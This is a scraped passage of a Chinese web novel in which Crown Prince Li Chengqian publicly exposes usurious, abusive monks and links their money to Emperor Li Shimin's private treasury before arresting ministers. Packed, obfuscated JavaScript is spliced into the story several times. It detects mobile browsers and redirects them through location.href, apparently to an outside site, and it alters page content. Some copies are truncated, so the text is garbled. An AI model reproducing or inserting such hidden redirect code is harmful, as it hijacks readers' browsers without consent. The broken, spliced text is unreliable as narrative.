他的声音很平静,在问一件再寻常不过的事情。 僧人们身体抖得更厉害了,却没人敢开口。 “不说话?” 李承乾的嘴角扯了一下,“看来,你们平日里养尊处优惯了,忘了怎么说人话了。” 他转头对李君羡道:“把慈恩寺的那个了凡,给孤拖出来。” “诺!” 李君羡一挥手,两名金吾卫立刻从人群中,将那个胖得像猪一样的了凡和尚拖了出来,重重地扔在李承乾的脚下。 了凡和尚在地上滚了两圈,满身的肥肉都在颤抖。 他抬起头,看到李承乾那双不带任何感情的眼睛,吓得魂飞魄散。 “殿下!太子殿下饶命!贫僧……贫僧知错了!贫僧再也不敢了!” 他磕头如捣蒜,肥胖的身体在地上扭动着,丑态百出。 “知错?” 李承乾居高临下地看着他,“你错在哪了?” “我……我不该……不该放印子钱……” 了凡结结巴巴地说道。 “哦?只是放印子钱吗?” 李承乾的声音里带着玩味。 他对着人群的方向招了招手。 很快,一名金吾卫带着一家三口走了过来。 正是之前在慈恩寺偏殿里,被了凡逼得走投无路的那一家人。 那中年男人一看到地上的了凡,眼睛瞬间就红了,他“噗通”一声跪倒在李承乾面前,砰砰磕头。 “殿下!殿下为草民做主啊!” 他指着了凡,声音里带着血泪的控诉,“就是这个秃驴!就是他!他逼草民还钱,草民家中二郎重病,实在拿不出钱,他就……他就要逼草民卖女儿!要把我这年仅十二岁的女儿,卖到张员外家做丫鬟抵债啊!” 此言一出,围观的百姓中顿时响起一片哗然。 “我的天!这也太不是东西了!” “逼人卖女儿?这还是出家人吗?简直是畜生!” “张员外?我知道,城南那个张员外,都六十多岁了,出了名的老色鬼,他家买丫鬟是假,**才是真啊!这要是送过去,这辈子就毁了!” 百姓的议论声,像一根根烧红的针,扎在了凡的耳朵里。 他浑身一颤,拼命地辩解:“不……不是的!殿下,你别听他胡说!我……我只是想让她去做个丫鬟,没……没别的意思!” “没别的意思?” 李承乾笑了,那笑容冰冷刺骨。 他缓缓蹲下身,与趴在地上的了凡对视,声音轻得如同耳语,却让了凡如坠冰窟。 “孤的人,在你的禅房里,找到了什么,需要孤当着大家的面,一件一件说出来吗?” “那几只箱子里,除了田契、借据,还有十几份小女孩的**契。最小的,才八岁。” “你那间所谓的‘禅房’,床底下,还藏着一个暗格。暗格里,有各种各样……让人叹为观止的刑具,还有一些女子的贴身衣物。” “了凡大师,你跟孤说说,这些东西,也是用来弘扬佛法的吗?” 了凡的瞳孔猛地收缩,脸上的血色瞬间褪得一干二净。 他怎么也想不到,李承乾竟然查得这么清楚! 连他藏得最深的秘密,都被翻了出来! “我……我……” 他张着嘴,喉咙里发出“嗬嗬”的声响,一个字也说不出来。 恐惧,彻底淹没了他。 李承乾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253054|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,不再看他一眼,多看一眼都是脏了自己的眼睛。 他的目光扫向那一百多名僧人,声音陡然拔高,如同洪钟大吕,响彻整个玄武门。 “放印子钱,强占民田,逼良为娼,囚禁良家女子,日夜**!” “这就是你们的慈悲为怀?” “左拥右右抱,衣衫不整,在风月场里与**调情嬉笑!” “这就是你们的不近女色?” “你们吃的,是百姓的血汗!你们穿的,是百姓的骨肉!你们住的,是百姓家破人亡换来的金碧辉煌!” “你们告诉我!你们这群披着袈裟的畜生,究竟是哪门子的佛!修的又是哪门子的道!” 一番话,字字诛心,句句见血。 那一百多名僧人,被这番话骂得抬不起头来。 而围观的百姓,情绪彻底被点燃了。 “杀千刀的秃驴!去年就是宝刹寺的和尚,用同样的法子,骗走了我家的救命钱!” “还有普光寺的那个慧寂!天天装得道貌岸然,背地里竟然是这种货色!我呸!枉我还给他捐了那么多香火钱!” “打死他们!打死这群畜生!” “杀了他们!!” 愤怒的声浪,汇成一片,几乎要将玄武门的城楼都掀翻。 百姓们挥舞着拳头,脖子上青筋暴起,恨不得冲上来将这些道貌岸然的骗子撕成碎片。 李君羡率领的金吾卫立刻上前,组成一道人墙,才勉强拦住了激愤的人群。 李承乾看着眼前这群情激奋的一幕,眼神里没有半分得意,只有一片冰冷。 他要的,就是这个效果。 他要让所有人都看清楚,这所谓的佛门,根子已经烂到了什么地步。 他要让所有人都知道,他李承乾今日之杀,不是滥杀无辜,而是为民除害! 他的目光,缓缓移向了城楼之上。 那里,他的父皇,李世民,正用一种极其复杂的眼神看着他。 那眼神里,有震惊,有愤怒,但更多的,是一种他从未见过的…… 忌惮。 李承乾心中冷笑。 父皇,这才只是一个开始。 你以为我只是在清洗佛门吗? 不。 我要清洗的,是这个被你们这群**子弄得乌烟瘴气的大唐! 他深吸一口气,再次开口,声音盖过了所有的喧嚣。 “带上来!” 第130章 谁是这些僧侣的金主!是李世民! 随着李承乾一声令下,几名金吾卫从那群僧人中,又拖出了一个衣着华丽、面容姣好的年轻和尚。 这和尚虽然穿着囚衣,但眉宇间那股养尊处优的矜贵之气却掩盖不住。 他被拖出来的时候,脸上满是惊恐,却还强撑着镇定,色厉内荏地喊道:“你们……你们想干什么?我乃普光寺慧寂,是得道高僧,你们不能……” “慧寂?” 李承乾打断了他的话,声音里带着嘲弄,“就是那个在平康坊的宅子里,左拥右抱,说是在为女施主‘讲经说法’的慧寂大师?” 慧寂的脸“唰”地一下涨成了猪肝色,他怎么也没想到,自己做得那么隐秘的事情,竟然会被当众揭穿。 “你……你胡说!” 他梗着脖子狡辩。 “胡说?” 李承乾笑了,他对着人群中喊道,“平康坊丽春院的老鸨,何在?” 话音刚落,一个打扮得花枝招展,脸上涂着厚厚脂粉的中年女人,被两名士兵从人群里推了出来。 这老鸨显然也是被这阵仗吓得不轻,一看到李承乾,立刻跪倒在地,浑身发抖。 “民妇……民妇在……” 李承乾指着地上的慧寂,淡淡地问道:“你可认识此人?” 老鸨偷偷抬眼看了一眼慧寂,连忙点头如捣蒜:“认识,认识!这位慧寂大师,可是我们丽春院的常客!出手阔绰得很!” “轰!” 人群再次炸开了锅。 “什么?去青楼?” “和尚去逛窑子?我的天爷啊,这世道是怎么了!” “我早就觉得这慧寂不是什么好东西,整天油头粉面的,哪有半点出家人的样子!” 慧寂听到老鸨的话,眼前一黑,差点晕死过去。 他指着老鸨,气急败坏地骂道:“你这贼婆!你敢污蔑贫僧!贫僧何时去过你的丽春院!” “哎哟,慧寂大师,您可真是贵人多忘事啊!” 那老鸨也不是省油的灯,一听这话,立马来了精神,叉着腰就嚷嚷开了,“您上个月初三,还在我们院里点了头牌红玉姑娘,赏了足足一百两银子!您忘了?红玉姑娘可还夸您‘佛法精深’呢!” “噗——”周围的百姓们再也忍不住,爆发出哄堂大笑。 “哈哈哈!佛法精深!” “这讲的是哪门子的佛法啊!” 慧寂一张脸涨得发紫,他恨不得找个地缝钻进去。 李承乾冷眼看着这出闹剧,等笑声稍歇,他才再次开口,声音却陡然转冷。 “笑够了吗?” 全场瞬间安静下来。 “你们以为,这只是一个和尚逛窑子的笑话吗?” 李承乾的目光如刀,扫过在场的所有人。 “李君羡,把账本拿上来!” “诺!” 李君羡立刻呈上一本厚厚的账册。 李承乾接过账册,随手翻开一页,朗声念道:“贞观十五年,三月初三,慧寂,于丽春院消费一百二十两。” “三月初八,慧寂,于丽春院消费八十两。” “三月十五,慧寂,于丽春院消费二百两,夜宿……” 李承乾念出一条条记录,每一条都像一记响亮的耳光,狠狠抽在慧寂的脸上。 慧寂早已面无人色,瘫在地上,连辩解的力气都没有了。 “一个普通的僧人,哪来这么多钱,去这等销金窟挥霍?” 李承乾合上账本,声音冰冷,“你们平日里化缘得来的香火钱,百姓们省吃俭用供奉给佛祖的血汗钱,就是这么被你们糟蹋的?” 他猛地将账本砸在慧寂的脸上。 “说!这些钱,到底从何而来!” 慧寂被砸得眼冒金星,他看着李承乾那双杀气腾腾的眼睛,心理防线彻底崩溃了。 “不……不是我的钱……不是我的……” 他语无伦次地哭喊道,“是……是寺里的钱!是寺里的!” “寺里的钱?” 李承乾步步紧逼,“普光寺,乃至你们长安城里大大小小的寺庙,哪来这么多钱,供你们如此挥霍?” “是……是……” 慧寂浑身剧烈地颤抖着,他知道,一旦说出来,就是死路一条。 可不说,现在就得死! “是‘欢喜债’!是放‘欢喜债’得来的!” 一旁那个胖大的了凡和尚,突然尖叫起来,他想通了什么,决定把所有人都拖下水,“殿下!不止普光寺,我们慈恩寺,还有城里好多寺庙,都在放‘欢喜债’!” “我们把信徒供奉的香火钱,借给那些走投无路的穷人,收取高额的利息!还不上钱的,男的就卖去做苦力,女的就卖去青楼!这些钱,来得快啊!” 了凡疯了一样,把所有肮脏的勾当都抖了出来。 他每说一句,百姓们的脸色就难看一分。 到最后,所有人的脸上,都只剩下滔天的怒火。 “畜生!真是一群畜生啊!” “拿我们的香火钱,去放**,逼死我们自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253055|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人?” “我杀了你们这群王八蛋!” 愤怒的百姓再次骚动起来,这一次,连金吾卫都差点弹压不住。 城楼之上,李世民的脸色已经铁青得如同锅底。 他的手死死地扣在城垛上,指节因为用力而泛白。 他知道佛门有些腌臜事,但他万万没想到,竟然已经糜烂到了这种地步! 放**,逼良为娼,这跟山贼土匪有什么区别?! 他的目光,不由自主地移向了人群中那个孤高的身影。 玄奘。 此刻,这位被他奉为御弟的圣僧,依旧双目微阖,宛若入定,眼前这修罗场,与他没有半点关系。 李世民的心头,第一次对这位圣僧,产生了怀疑。 这些事情,他就真的,一无所知吗? 就在此时,城下的李承乾,再次开口了。 他的声音,将李世民从复杂的思绪中拉了回来。 “放‘欢喜债’,好一个‘欢喜债’!” 李承乾的声音里充满了冰冷的杀意,“你们胆子不小,敢在天子脚下,行此等无法无天之事!” “是谁给你们的胆子?” “是谁,在背后为你们撑腰?” “说!” 最后一个“说”字,如同炸雷。 了凡和尚和慧寂和尚同时浑身一颤,两人对视一眼,都在对方眼中看到了极致的恐惧。 他们知道,太子真正想问的,是什么。 这是催命符! 说了,是死。 不说,也是死。 就在这死的寂静中,一个被按在地上的老僧,突然抬起头,用一种怨毒的眼神看着李承乾,嘶声喊道:“太子殿下,你何必明知故问!” “我们这些方外之人,若没有贵人扶持,怎敢做这些事!” “是谁下旨,免了我们佛门的税赋?是谁下旨,允许我等广建寺庙,招收僧侣?” “是谁,为了彰显他‘万国来朝’的盛世,将我佛门捧到了至高无上的地位?” “你问我们谁是靠山?哈哈哈!我们的靠山,就是这大唐的天!就是端坐在那龙椅之上的……当今圣上!” 老僧的话,如同一道黑色的闪电,狠狠劈在了玄武门前所有人的心头。 整个世界,瞬间失声。 所有人的目光,无论是官员、士兵,还是百姓,都下意识地,齐刷刷地,投向了城楼之上。 投向了那道明黄色的,孤零零的身影。 李世民。 第131章 这就是你的为了大唐? 时间在这一刻被冻结。 玄武门前,成千上万道目光,如同一支支无形的利箭,穿透了空间的距离,齐刷刷地钉在了城楼之上那道明黄色的身影上。 李世民。 大唐的天子,贞观盛世的缔造者,万民敬仰的圣君。 此刻,他成了万众瞩目的焦点,却不是因为他的威严,而是因为那老僧泣血指控。 ——我们的靠山,就是这大唐的天! 就是端坐在那龙椅之上的…… 当今圣上! 这句话,像一记最响亮的耳光,狠狠地抽在了李世民的脸上,也抽在了满朝文武的脸上,更抽在了每一个大唐子民的心上。 李世民的身体,剧烈地晃动了一下。 他感觉自己的血液在瞬间凝固了,彻骨的寒意,从脚底板直冲天灵盖。 他想开口反驳,想怒斥那老僧一派胡言,想下令将他就地格杀。 可他张了张嘴,却发现喉咙里被塞了一团烧红的烙铁,一个字都说不出来。 因为,那老僧说的,虽然恶毒,却并非全是虚言。 是谁,为了拉拢佛门势力,平衡道家影响,下旨免除了寺庙的税赋,让它们成了不事生产、却能疯狂敛财的法外之地? 是朕。 是谁,为了营造万邦来朝、文化昌盛的景象,大力扶持佛教,敕建了长安城内一座又一座金碧辉煌的寺庙? 是朕。 是谁,为了笼络人心,收买名望,将玄奘奉为御弟,亲自送他西行,将佛门捧到了一个前所未有的高度? 是朕! 他做的这一切,初衷或许是为了江山社稷,为了帝王权术。 可他万万没有想到,他的纵容和扶持,竟然滋养出了这样一群披着袈裟、敲骨吸髓的恶鬼! 他的“贞观之治”,他的“圣君”英名,在这一刻,被这些他亲手喂养大的恶鬼,用最肮脏的现实,撕开了一道血淋淋的口子。 “陛下……” 身旁,长孙无忌的声音艰涩地响起,他想说些什么来挽回局面,却发现任何言语在此刻都显得那么苍白无力。 房玄龄、杜如晦等一众文臣,一个个脸色惨白,低着头,不敢去看龙椅上那个摇摇欲坠的身影。 他们心中充满了惊骇和失望。 他们一直以为,陛下是明君,是圣主。 可现在,他们发现,这位圣主,为了他的权术,为了他的颜面,竟然对佛门如此滔天的罪恶,视而不见,甚至…… 同流合污。 而秦琼、程咬金等一众武将,则个个双拳紧握,手背上青筋暴起。 他们不懂什么帝王权术,他们只知道,他们在边关抛头颅、洒热血,用命换来的军饷,可能就是被这些肥头大耳的秃驴,从国库里一口口吞掉的! 他们用命守护的百姓,就是被这群畜生,逼得家破人亡! 被背叛的怒火,在他们胸中熊熊燃烧。 城楼下,李承乾静静地看着这一切。 他看着父亲那张由铁青转为惨白的脸,看着文武百官那或震惊、或失望、或愤怒的表情。 他的心中,没有半分快意,只有一片冰冷的荒芜。 这就是他要的结果。 他要撕开这“贞观盛治”华丽的外袍,让所有人都看清楚,袍子底下,爬满了怎样恶心的虱子! 他要让他的父皇,这位高高在上的天可汗,亲身体会一下,被万民指责,被臣子背弃,是何等的滋味! “父皇,” 李承乾的声音再次响起,打破了这令人窒息的死寂。 他的声音很平静,却像一把刀,精准地捅进了李世民最脆弱的地方。 “您,还有何话说?” 李世民猛地抬起头,一双布满血丝的眼睛,死死地瞪着自己的儿子。 “逆子!” 他终于从喉咙里挤出了两个字,声音嘶哑得如同砂纸摩擦,“你……你这是要逼宫吗?!” “逼宫?” 李承乾笑了,笑声里充满了毫不掩饰的讥讽,“儿臣不敢。” “儿臣只是想替这长安城的百姓,替这天下万民,问一句公道!” 他猛地转身,面向那群跪在地上的僧人,声音陡然拔高,如同惊雷。 “你们说,你们的靠山是当今圣上!” “那孤再问你们!” “你们放印子钱,强占民田,所得的巨额财富,都去了哪里?!” “你们将那些无辜的女子卖入青楼,将那些孩童卖为奴婢,所得的肮脏银钱,又流向了何处?!” “说!!” 这一声爆喝,蕴含着无尽的威严与杀气。 那老僧被吓得浑身一哆嗦,刚刚燃起的怨毒,瞬间被恐惧浇灭。 其他的僧人,更是头埋得更低,恨不得将自己变成一只鸵鸟。 “看来,你们还是不说实话。” 李承乾的眼神,冷得像冰。 “李君羡!” “末将在!” “把东西,拿上来!” “诺!” 李君羡一挥手,十几名金吾卫立刻抬着几口沉重的木箱,走到了阵前。 “哐当!” 箱子被重重地放在地上,当着所有人的面,被一一打开。 箱子里,没有金银,没有珠宝。 只有一本本码放得整整齐齐的…… 账册! 每一本账册的封皮上,都用朱砂写着一个寺庙的名字:慈恩寺、普光寺、会昌寺…… 李承乾随手拿起一本,翻开,声音冰冷地念道:“贞观十四年,七月,慈恩寺‘欢喜钱’入账,三万一千二百两。其中一万两,送入……内帑库。” “内帑库”三个字一出,满朝文武,再次剧震! 内帑库! 那是皇帝的私人金库! 是直属于皇帝,不受户部管辖的小金库! 如果说刚才的指控,还只是影射。 那么现在,这本账册,就是铁证! 是无可辩驳的,将佛门的肮脏,与皇家的尊严,死死钉在一起的铁证! “不可能!这是污蔑!这是伪造的!” 城楼上,李世民身旁的一名内侍大总管,尖着嗓子叫了起来。 他知道,一旦此事被坐实,他们这些替皇帝打理内帑的人,一个都跑不掉! 李承乾甚至没有看他一眼,只是将手中的账册,扔给了李君羡。 “念!” “诺!” 李君羡接过账册,清了清嗓子,用他那洪亮的声音,将上面的记录,一条一条地念了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253056|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “贞观十四年,八月,普光寺入账两万八千两,一万两送入内帑库。” “九月,会昌寺入账四万三千两,一万五千两送入内帑库。” “十月……” 一条条,一笔笔,触目惊心! 每一笔钱,都沾着百姓的血泪! 而这些血泪,最终都汇成了一条肮脏的金钱之河,源源不断地流进了皇帝的私人腰包! 百姓们听着,从最初的震惊,到愤怒,再到最后的麻木和…… 绝望。 他们一直以为,天子是圣明的,只是被下面的贪官污吏蒙蔽了。 可现在,他们发现,这天下间最大的贪官,竟然就是他们顶礼膜拜的…… 君父! 信仰,在这一刻,崩塌了。 城楼之上,李世民的脸色,已经不能用惨白来形容。 那是一种死灰。 一种生命力被彻底抽干的死灰。 他怔怔地看着下方,看着那不断被念出的,一笔笔他再熟悉不过的款项。 他想起来了。 去年,他为了修建新的宫殿,国库空虚,正是从内帑里调的钱。 前年,他宠爱的妃子过寿,他赏赐了无数奇珍异宝,那些钱,也是从内帑里出的。 还有每年赏赐给皇子公主,文武百官的钱,很大一部分,都来自这笔他自以为神不知鬼不觉的“香火钱”。 他一直以为,自己做得很干净。 他享受着用这些钱,来维系他天可汗的体面,来彰显他君临天下的豪奢。 他从未想过,这些钱的背后,是无数家庭的破碎,是无数生命的凋零。 “噗——”腥甜的液体,再也压抑不住,猛地从李世民的口中喷出。 鲜血,染红了他胸前的龙袍。 “陛下!” “父皇!” 长孙无忌、长乐公主等人发出惊呼,乱成一团。 而城楼之下,李承乾只是冷冷地看着。 他看着父亲吐血,看着他摇摇欲坠,眼神里没有的动容。 “父皇,” 他的声音再次响起,像一尊没有感情的审判官,“现在,您还有什么话说?” “朕……朕……” 李世民喘着粗气,他用袖子擦去嘴角的血迹,试图站直身体,试图找回他作为帝王的尊严。 “朕……朕这么做,也是为了大唐!” 他用尽全身力气,发出一声嘶吼,“国库空虚,百废待兴!朕若不从此取钱,难道要加重百姓的赋税吗?!” “好一个为了大唐!” 李承乾仰天长笑,笑声中充满了无尽的悲凉与愤怒。 “父皇!你睁开你的眼睛看看!” 他指向那些被金吾卫保护在身后的百姓。 “你问问他们!问问那个差点被逼得卖掉女儿的父亲!问问那些被你们的‘欢喜债’逼得家破人亡的百姓!” “他们是愿意多交一斗米的税,还是愿意被你们这些披着人皮的畜生,敲骨吸髓,逼上绝路?!” “你用他们的血泪,去修建你华丽的宫殿!去赏赐你宠爱的妃子!去维系你那可笑的天可汗的体面!” “这就是你的‘为了大唐’?!” “李世民!你配吗?!” 第133章 慈母之心,太子之狠 长孙皇后彻底失控了,她像一个最普通的母亲,在痛斥自己那犯下滔天大错的儿子。 她的每一句话,都像一把刀子,狠狠地扎在李承乾的心上。 李承乾缓缓地转过头,他看着泪流满面的母亲,那张英俊冷酷的脸上,终于出现了裂痕。 他张了张嘴,想说些什么,想解释,想告诉她,自己这么做,都是被逼的。 可话到了嘴边,却又变成了一声苦涩的叹息。 他能怎么解释? 解释父皇的猜忌与打压?解释世家的贪婪与无耻?解释这皇权斗争中,不是你死就是我活的残酷? 不,他不能。 在母亲面前,他永远是那个需要被教导的孩子。 “母后,”李承乾的声音,第一次带上了疲惫,“儿臣……有罪。” “有罪?一句有罪就够了吗?”长孙皇后凄然一笑,泪水模糊了她的视线,“你知不知道,你今天这么做,会毁了你自己,会毁了整个大唐!” “你以为你赢了吗?你赢了你父皇,可你失去了人心!你让天下人如何看你?一个逼父弑妹的**!” “承乾,收手吧,现在还来得及!跟母后回宫,去向你父皇认个错,一切……一切都还有挽回的余地!” 长孙皇后抓着李承乾的胳膊,苦苦地哀求着,在抓住最后一根救命稻草。 然而,李承乾只是缓缓地摇了摇头。 他轻轻地挣开了母亲的手,目光再次变得坚定而冰冷。 “母后,您不懂。” “开弓,没有回头箭。” 他看着母亲那张充满绝望的脸,一字一句地说道:“从他们将我逼上绝路的那一刻起,我就已经不是您那个温良恭俭让的儿子了。” “儿臣,是复仇的恶鬼。” “今日,无论是谁,都挡不住儿臣的路。” “神挡杀神,佛挡杀佛!” 说完,他不再看母亲一眼,猛地转身,目光如电,扫向城楼下那些噤若寒蝉的文武百官。 “传孤之令!” “将房玄龄、魏征、长孙无忌,给孤……拿下!” “拿下!” 当李承乾这冰冷的两个字,从牙缝里挤出来的时候,整个玄武门城楼,被一道来自九幽地狱的寒风扫过。 所有人都僵住了。 时间,在这一刻,被彻底冻结。 长孙皇后的脸上,血色瞬间褪尽,她难以置信地看着自己的儿子,那双美丽的凤目中,充满了惊骇与绝望。 她以为,自己亲自出面,至少能让这个已经杀红了眼的儿子,有片刻的冷静。 她以为,母子之情,至少能唤醒他心中最后人性。 可她错了。 错得离谱。 他不仅没有收手,反而举起了屠刀,对准了他父亲最倚重的三位肱骨之臣! 房玄龄,当朝宰辅,百官之首! 魏征,谏议大夫,以直言敢谏闻名,是父皇亲手树立的“人镜”! 还有……长孙无忌! 那是她的亲哥哥!是李承乾的亲娘舅!是当年玄武门之变,辅佐他父皇登上大宝的头号功臣! 李承乾,他疯了吗?! 他这是要将整个朝堂,连根拔起吗?! “你……你说什么?”长孙无忌第一个反应过来,他那张素来喜怒不形于色的脸上,第一次出现了龟裂,声音里带着无法抑制的颤抖。 房玄龄和魏征也是如遭雷击,呆立当场。 他们想过无数种可能,想过太子会清算佛门,会打压世家,却万万没想到,这把火,竟然会烧到他们自己身上! “殿下!臣等何罪之有!”魏征那倔强的脾气上来了,他梗着脖子,踏前一步,厉声质问。 “何罪之有?”李承乾缓缓转过身,用一种看**眼神看着他,“魏大人,你身为谏官,号称能直言规劝陛下过失。” “那孤问你,佛门贪腐,鱼肉百姓,如此滔天罪行,你为何视而不见?” “高阳公主与妖僧私通,秽乱宫闱,败坏皇家颜面,你为何又充耳不闻?” “你这面‘人镜’,照见的,只是你想让陛下看见的东西吧!” “你!”魏征被这番话噎得满脸通红,他张了张嘴,却一句话也反驳不出来。 因为李承乾说的,是事实。 他确实不止一次地上书,痛陈佛门之弊,但都被陛下以“朝局安稳”为由压下。久而久之,他也便心灰意冷,不再提及。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253058|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至于高阳公主的丑事,那更是皇家的禁忌,他一个外臣,如何敢多言? “至于房相……”李承乾的目光,又落在了面如死灰的房玄龄身上,“子不教,父之过。你的儿子房遗爱,身为驸马,却对公主的淫行百般遮掩,甚至在此地为奸夫**求情,丢尽了我李唐皇室的脸面!你治家不严,教子无方,你说,你该不该拿下?” 房玄龄浑身一颤,嘴唇哆嗦着,颓然跪倒在地,老泪纵横。 “老臣……有罪……” 最后,李承承乾的目光,落在了自己的亲舅舅,长孙无忌的身上。 他的眼神,变得无比复杂。 有冰冷,有嘲弄,但更多的,是一种被背叛后的深深失望。 “舅舅。”他轻轻地叫了一声。 长孙无忌的身体,猛地一震。 “孤一直敬你,重你,视你为长辈,为依靠。”李承乾的声音很轻,却像一柄重锤,狠狠砸在长孙无忌的心上。 “可你呢?你是如何回报孤的?” “你明知父皇对孤心存猜忌,却从不为孤说一句公道话。” “你眼睁睁看着魏王李泰、晋王李治在暗中培植势力,觊觎东宫之位,却选择了冷眼旁观,甚至……乐见其成!” “你身为国舅,身为百官之首,想的不是如何辅佐孤,巩固大唐江山,而是如何在这场储位之争中,为你的长孙家,谋取最大的利益!” “轰!” 长孙无忌只觉得脑子里一片空白,李承乾的每一句话,都一把刀,将他内心最深处的阴暗与算计,血淋淋地剖开,暴露在光天化日之下。 他踉跄着后退了两步,脸色惨白如纸。 他想反驳,想说自己所做的一切,都是为了大唐的稳定,为了避免再出现一次“玄武门之变”。 可是,在李承乾那双洞悉一切的眼眸注视下,所有的借口,都显得那么虚伪,那么可笑。 “承乾!住口!” 长孙皇后再也听不下去了,她发出一声凄厉的尖叫,冲到李承乾面前,张开双臂,护在了长孙无忌的身前。 “不准你这么说你舅舅!”她泪流满面,声音颤抖,“他是我的亲哥哥!他所做的一切,都是为了你好,为了这个家好!” 第134章 天师献策,以杀证道 “为了我好?”李承乾凄然一笑,那笑容里充满了无尽的悲凉,“母后,您太天真了。” “您以为,这还是一个家吗?” 他指着地上昏迷不醒的李世民,指着城楼下那片血腥的修罗场。 “这里,是天底下最肮脏,最冷酷的斗兽场!不是你死,就是我活!” “今天,儿臣若是不心狠,不手辣,那么倒在这里的,就不是他们,而是儿臣!” “您信不信,只要儿臣稍有示弱,父皇醒来的第一件事,就是下旨废了儿臣这个太子!” “而我的好舅舅,还有我那两位好弟弟,会立刻像闻到血腥味的豺狼一样,扑上来,将儿臣撕得粉身碎骨!” 长孙皇后被这番话,震得连连后退,她看着儿子那张因激动而涨红,又因悲愤而扭曲的脸,心中一片绞痛。 她知道,儿子说的,或许是对的。 这深宫大院,从来都不是讲亲情的地方。 可她无法接受。 她无法接受自己的丈夫和儿子,会像仇人一样,不死不休。 她无法接受自己的亲哥哥,会为了家族利益,算计自己的亲外甥。 “不……不会的……”她喃喃自语,在说服自己,“你父皇他……他不会这么对你的……你舅舅他……” “母后!您醒醒吧!”李承乾一声断喝,打断了她的自我麻痹。 他的眼神,变得无比锐利。 “您以为,父皇为何会对我动了杀心?” “您以为,五姓七望为何敢如此猖狂,逼宫犯上?” “这一切的背后,若没有我那位好舅舅,在暗中推波助澜,借力打力,他们,敢吗?!” 此言一出,长孙无忌的脸色,瞬间变得比**还要难看。 他浑身冰冷,如坠冰窟。 他知道,太子已经什么都知道了。 他那些隐藏在暗处的,与世家之间的联络,那些看似不经意的挑拨,全都被太子看了个一清二楚。 “不……不是的……”长孙皇后还在徒劳地辩解,她抓住李承乾的衣袖,苦苦哀求,“承乾,算母后求你了,放过你舅舅吧!我们回家,我们一家人,好好谈谈,好不好?” “回家?”李承乾看着母亲那张梨花带雨的脸,心中最后的柔软,也渐渐变得坚硬。 “母后,我们,已经没有家了。” 他轻轻地,但却无比坚定地,推开了母亲的手。 然后,他转过身,不再看她一眼。 他的目光,冷冷地扫过已经彻底呆住的长孙无忌、房玄龄和魏征。 “还愣着干什么!” “拿下!” 他的声音,不再有任何犹豫,只有不容置疑的,属于帝王的森然与决绝。 “谁敢违令,同罪论处!” 城楼上的禁军们,浑身一震。 他们看看太子,又看看失魂落魄的皇后,以及那三位面如死灰的朝廷重臣。 最终,对强权的恐惧,压倒了一切。 “诺!” 数名禁军将领,咬着牙,硬着头皮上前,抽出了腰间的佩刀。 冰冷的刀锋,对准了曾经让他们敬畏不已的三位宰辅。 长孙皇后眼睁睁地看着这一切,看着禁军的刀架在了自己亲哥哥的脖子上。 她只觉得眼前一黑,整个世界都在旋转。 腥甜的液体,从喉头涌上。 “噗——” 她和她的丈夫一样,喷出了一口鲜血,染红了胸前华贵的凤袍。 随后,身体一软,向后倒了下去。 “母后!” “娘娘!” 一直躲在角落里,吓得瑟瑟发抖的长乐公主,发出一声凄厉的尖叫,扑了上去。 整个玄武门城楼,再次陷入了无边的混乱与死寂之中。 玄武门城楼上的风,永远都带着萧瑟的悲凉。 长孙皇后倒下的那一刻,李承乾的身形,几不可察地晃了一下。 他的心,被一只看不见的手狠狠刺穿,疼得他几乎无法呼吸。 那是他的母亲。 是这个冰冷残酷的世界上,唯一真心待他的人。 可现在,他却亲手将她推入了绝望的深渊。 他缓缓闭上眼,将那份足以将人撕裂的痛苦,死死地压在心底。 再睁开时,那双幽深的眸子里,只剩下如铁的冰冷和决绝。 他知道,自己已经没有退路了。 从他举起屠刀的那一刻起,他就注定要舍弃一切,包括亲情。 “将皇后娘娘,送回立政殿,好生照料。”他的声音沙哑,却不容置疑,“传太医!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 